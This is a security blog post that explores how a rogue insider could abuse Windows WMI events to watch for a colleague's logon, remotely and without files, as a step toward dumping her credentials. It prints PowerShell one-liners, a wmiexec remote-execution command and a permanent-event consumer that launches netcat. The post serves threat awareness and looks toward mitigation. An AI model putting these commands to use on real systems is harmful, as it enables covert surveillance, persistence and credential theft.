Live Cyber Attack Lab 🎯 Watch our IR team detect & respond to a rogue insider trying to steal data! Choose a Session


Insider Threats: Hard Lessons From WMI Eventing and Surveillance

IT Pros, PowerShell

Last time, we explored how a hypothetical insider could use the Windows Management Interface (WMI) and its eventing system to surveil other employees. No, I’m not the first person to have looked into this. There are many  informational posts on this subject on the web. Here’s a typical post, one of many out there, about a security researcher’s experiences with WMI eventing.

My own experiments assumed the usage of Register-WMIEvent, which is one flavor of WMI events. It creates a temporary WMI event. In plain English: the event only lasts as long as the shell session. Close the PowerShell session, and the event dies.

Easy Surveillance Is Hard!

In my scenario, I wanted to remotely launch (using wmiexec) a payload that would alert when a particular user, Cruella, logs into the system. And then I could dump and crack her credentials. Anyway, this would be the stealthiest way to pull this off —both remote and fileless. The only problem, I thought at first, was the temporary nature of the WMI event.

So I needed to encase my obscenely long Register-WMIEvent (below) into a PowerShell command line with the –noexit option, ensuring that the PowerShell stayed around after the Register-Event runs, and thereby preserving the event.

Register-WMIEvent -Query "Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3" -Action {$names=gwmi Win32_Process|% { $_.GetOwner().User}foreach ($user in $names){if ($user -eq "cruella") {echo "cruella logged in"| C:\Users\lex\Documents\nc.exe 80}#$EventArgs.NewEvent.TargetInstance.Name}

As I started working this out, long sigh, I realized the necessity of “escaping” special characters such as $, “, and | and pass them as literals directly into PowerShell. More headaches: I eventually had to abandon using pipes because it seemed to cause parsing errors. Don’t ask. I eventually came up with this long, long one-liner :

$command="powershell -noexit -C Register-WMIEvent -Query ""Select TargetInstance From __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'win32_LogOnSession' AND TargetInstance.LogonType=3"" -Action {`$names = gwmi Win32_Process; `$users=@(); foreach (`$n in `$names) {`$users += `$n.GetOwner().User}; foreach (`$u in `$users) {if (`$u -eq ""cruella"") { C:\Users\lex\Documents\nc.exe 80 }}} 

.\wmiexec.exe corp.acme/lex@ "$command"


It looked promising and it seemed to execute correctly based on looking at the Windows Event log on the target system. However, on closer examination, it … didn’t work! I’m sure eventually — with enough espressos — I could wangle something together.  Another option, though less stealthy and not file-less, is to use Impacket’s smbclient to transfer the actual script, and then run it on the target directly.

My remote execution of a complicated Register-Event cmdlet seemed correct. But didn’t execute. Oh well.

Unfortunately, my assumptions start breaking down at this point — that a somewhat savvy but not too sophisticated insider could easily exploit WMI’s temporary events for sneaky surveillance.

Permanent Events: The Right Way to Surveil

The way that this should really be done, but would require more of a learning curve, is by using WMI’s permanent events. It’s a topic covered in Matt Graeber’s wonderful Black Hat presentation.

In this case, the insider creates a permanent event on the target system thereby relieving  him of having to hang around in a shell session — the event stays forever or until its explicitly removed. You can read more about how to do this here, but it’s similar to what I was describing with temporary events.

They’d first create an event filter, which is essentially the query I passed into Register-Event in the Action script block. And then this very motivated insider would have to set up an event consumer to trigger on the event filter — in our case Cruella logging in — and then running a command, say, netcat. Something like this:

#Creating a new event consumer
$instanceConsumer =([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$instanceConsumer.Name = 'Surveiller'
$instanceConsumer.ExecutablePath = "C:\Users\lex\documents\nc.exe "
$result = $instanceConsumer.Put()
$newConsumer = $result.Path

Finally, they’d have to bind the event filter with the event consumer.

I agree: this starts looking like too much of a hike for an average employee turned insider menace. For kicks, I checked around on the forums, and there’s lots of people pulling their collective hairs out trying to get WMI permanent events to work. However, this technique is not outside the capabilities of a Snowden or other smart system admins that decide to become a threat.

Let’s call it day. I’ll try a little experimentation with permanent events and report back next time. The more important topic to take up is how to mitigate against these types of threats. The answer is part of a larger strategy of not allowing powerful tools to be made available to average users. More next time.





Andy Green

Andy Green

Andy blogs about data privacy and security regulations. He also loves writing about malware threats and what it means for IT security.


Does your cybersecurity start at the heart?

Get a highly customized data risk assessment run by engineers who are obsessed with data security.